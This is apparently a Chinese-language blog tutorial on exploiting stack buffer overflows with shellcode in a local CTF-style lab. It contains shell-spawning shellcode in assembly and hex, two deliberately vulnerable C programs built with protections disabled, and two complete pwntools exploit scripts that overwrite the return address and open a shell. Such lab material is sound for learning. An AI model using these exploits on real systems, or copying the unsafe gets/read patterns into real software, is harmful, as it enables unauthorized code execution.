[資訊安全] 從毫無基礎開始 Pwn – Shellcode 實作

Photo by Andreas Rønningen on Unsplash

自上一篇介紹 Buffer OverFlow 的實作後,接著往更深入的點探討 Shellcode 的利用方式,其利用方式也需要一些 BOF 的底子,此外也需要一些條件來達成,該文會逐一介紹相關的防禦機制,以及帶入實作來學習。

先備知識

SC 的運行原理,文章的開頭有提到需要一些先備的條件,例如需要同時「可寫、可執行」的環境,原因在於,需要將經作策畫的 SC 寫入可執行的區段,再透過 Buffer Overflow 蓋 RET 的位址,進而轉跳至 SC 存放點,由於 x86 的機制,只要 RIP 位址指向的是一段 OP Code 就會執行。

首先還是要了解一下什麼是 Shellcode,直接看以下的例子吧。

組合語言

以下的組合語言會執行 execveat("/bin//sh") 的動作,簡單的說就是開一個 Shell。

push   0x42
pop    rax
inc    ah
cqo
push   rdx
movabs rdi, 0x68732f2f6e69622f

push   rdi
push   rsp
pop    rsi
mov    r8, rdx
mov    r10, rdx
syscall

Source: http://shell-storm.org/shellcode/files/shellcode-905.php

機械碼

如果將以上的組合語言轉換成 16 進制的機械碼,Shellcode 就會變成以下的形式。

Raw Hex (zero bytes in bold):

6A4258FEC448995248BF2F62696E2F2F736857545E4989D04989D20F05   

String Literal:

"\x6A\x42\x58\xFE\xC4\x48\x99\x52\x48\xBF\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x57\x54\x5E\x49\x89\xD0\x49\x89\xD2\x0F\x05"

Array Literal:

{ 0x6A, 0x42, 0x58, 0xFE, 0xC4, 0x48, 0x99, 0x52, 0x48, 0xBF, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x2F, 0x73, 0x68, 0x57, 0x54, 0x5E, 0x49, 0x89, 0xD0, 0x49, 0x89, 0xD2, 0x0F, 0x05 }

總結先備知識

以上的例子是透過 SC 開啟一個 Shell,但仔細思考一下,這樣的行為不就是在別的程式上寫自己的程式碼? 所以可以操作的行為不僅僅是單純開 Shell,還可以用於特定操作,例如:獲取 Root 權限、讀檔、寫檔、新增使用者等…。

環境建置

該實驗環境有稍作改變,其原因在本文下方「遇到困難」有針對原因加以解釋,環境從 WSL(Windows Subsystem for Linux) 變更為 Virtual Machine。

關於 Virtual Machine,不論是使用 Virtual Box、VMware、還是 ESXi 都無所謂,只要可以裝上 Linux 即可,該篇還是使用 Ubuntu 版本為 16.04。

需要套件依然是 PwnTools、PEDA,Buffer OverFlow 一文中,有提及如何安裝。

該實驗的目的是學習使用 PwnTools,自動產生可以取得 Shell 的 SC Payload,並再實驗中取得 Shell,並且準備兩個雷同的例子「ret2sc」、「shellcode」。

PwnTools ASM

該提要使用 PwnTools 來產生 SC,所以在開始之前,先解釋一下用法。

連線方式

ip   = "127.0.0.1"
port = 8888
r = remote(ip, prot)

自動產生 SC

context(arch = 'amd64', os = 'linux')
shellcode = asm(shellcraft.amd64.linux.sh())

如果要手動編寫 SC 依照自己的需求進行調整,可以參考官方文件: http://docs.pwntools.com/en/stable/asm.html

程式碼(ret2sc)

#include<stdio.h>

char name[36];

void main(){
    char buffer[24];
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    printf("Input Your Name: ");
    read(0, &amp;name, 50);
    printf("Show Your Skill: ");
    gets(&amp;buffer);
}

程式碼(shellcode)

#include <stdio.h>
int main(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    char buf[112];
    printf("Your address of input buffer is %p\n", &amp;buf);
    read(0, &amp;buf, 128);
    return 0;
}

編譯

兩個例題的編譯方式相同,編譯語法如下,其參數是把所有防護都關閉了。

gcc <source.c> -o <binary> -fno-stack-protector -zexecstack -no-pie -z execstack

如果懶惰,也提供編譯好的檔案在此(含答案)。

https://lihi1.cc/WuPUH

Pwd:
ByMksYi

sha1:
0C3A0C8612CE2F0A0A4DFD02564C676CB6482414

sha256:
F6937BD994EE9EF47104DDB3A27906F24B5075B659A4B5883FBCEE1D43058C7E

ncat

這部分也使用 ncat 來把題目丟上 socket,來模擬真實的 CTF 環境,以下為參考指令。

架設:

ncat -vc $binary -kl $ip $port

連線:

nc $ip $port

解題(ret2sc)

該題有兩個 Input,從原始碼上可以看到 namebuffer 兩個,其中 name 為全域變數,所以資料存放在 BSS 區段,而 Buffer 則是在 Stack 上。

首先可以使用 objdump 檢視反組譯後的結果。

objdump -M intel -d ret2sc | less

可以發現 0x4006ce 該行 OP Code,把 0x601080 丟到 esi,可以確認為 read 的參數,也就是掌握了變數 name 在 BSS 上的位置。

有了這個線索可以擬定的戰略如下。

  1. name => shell_code
  2. buffer => BOF 把 RET 蓋為 0x601080

由於 name 的大小有 36 bytes,所以 Pwntools 內建的 SC 綽綽有餘,僅有 24 bytes,接著就是要 buffer 要蓋到 RET 需要多少個 bytes。

計算 Buffer 可以先觀察到 0x40067A 該行的 OP Code,可以得到區域變數大小為 0x20(16*2 = 24),接著加上 8 bytes 的 RBP,隨後就是 RET Address 的 8 bytes。

buffer = 24 + 8(RBP) + 8(ret address)

但實際執行卻出現了些問題,並沒有精確的蓋到 RET,原因還是丟掉 GDB 上跑一次才知道,試著丟出長度為 24 bytes 大小的 Payload 並觀察,預計下 8 個 bytes 為 RBP,但實際上是下 16 個 bytes 才是 RBP 下 24 個 bytes 才是 RET。

所以確切要蓋的長度為 32 bytes + 8 bytes(RBP)+ 8 bytes(RET)。

建構出的 Payload 如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *
ip   = '127.0.0.1'
prot = 8888
r = remote(ip, prot)
#r = process("./ret2sc")
context(arch = 'amd64', os = 'linux')
shellcode = asm(shellcraft.amd64.linux.sh())
r.recvuntil("Input Your Name: ")
r.sendline(shellcode)
r.recvuntil("Show Your Skill: ")
r.sendline(b"A"*32 + b"x" * 8 + p64(0x601080))

r.interactive()

解題(shellcode)

該題執行後,會丟一出 Buffer 的記憶體位置,由於該位置每次執行都是隨機的,所以為了讓練習更為順利,直接將 Buffer 的位置印出來,好方便後續的練習。

首先與 ret2sc 一樣,已經知道目標位置了,接著就是算 Buffer 要怎麼蓋到 RET。

一樣可以透過 objdump 進行觀察區域變數的大小,這邊得到 0x70(7*16=112),接著再加上 RBP 的 8 bytes 為 120,所以總結是 120 + ret address。

已知 PwnTools 自動產生的 SC 大小為 24,所以 112 – 24 = 88,使用 SC 僅要補足 88 bytes 就可以滿足條件。

SC(24 bytes) + A(88 bytes) + RBP(8 bytes) + RET Address(8 bytes)

邏輯搞懂後就可以開始解題,可以沿用 ret2sc 的解答稍作變更,主要比較麻煩的地方在於,需要讀取伺服器丟回來的字串,並且擷取那關鍵的 Buffer 的記憶體位置,隨後當成 Payload 丟回伺服器。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
ip   = '127.0.0.1'
prot = 8888
r = remote(ip, prot)
#r = process("./shellcode")
context(arch = 'amd64', os = 'linux')
shellcode = asm(shellcraft.amd64.linux.sh())
data = r.recv()
address = data.replace(b'Your address of input buffer is ', b'')
address = address.replace(b'\n', b'')
address = address.decode("utf-8")
address = int(address[2:], 16)
r.sendline(shellcode + (b"A" * 88) + (b"x" * 8) + p64(address))
r.interactive()

遇到問題

在 Windows 底下的 WLS 可能有做一些保護機制,在 WLS 的環境下,Binary 的 Stack 會屬於可寫、不可執行的狀態,即使關閉了 NX 也一樣,以下有 WLS 與 Virtual 環境下的對照,可以發現 Stack 的部分在虛擬環境下,變成了可讀可寫可執行。

WLS

Virtual (VMWare Ubuntu 16.04)

備註及參考資料

如果對於 SC 利用的文章有興趣的話可以參考:緩衝區溢位攻擊之二(Buffer Overflow),該篇文章真的寫得很淺顯易懂,也讓我學習之路順暢許多。

同時也感謝張元大大,給予一些疑難雜症的協助。


發佈留言

這個網站採用 Akismet 服務減少垃圾留言。進一步瞭解 Akismet 如何處理網站訪客的留言資料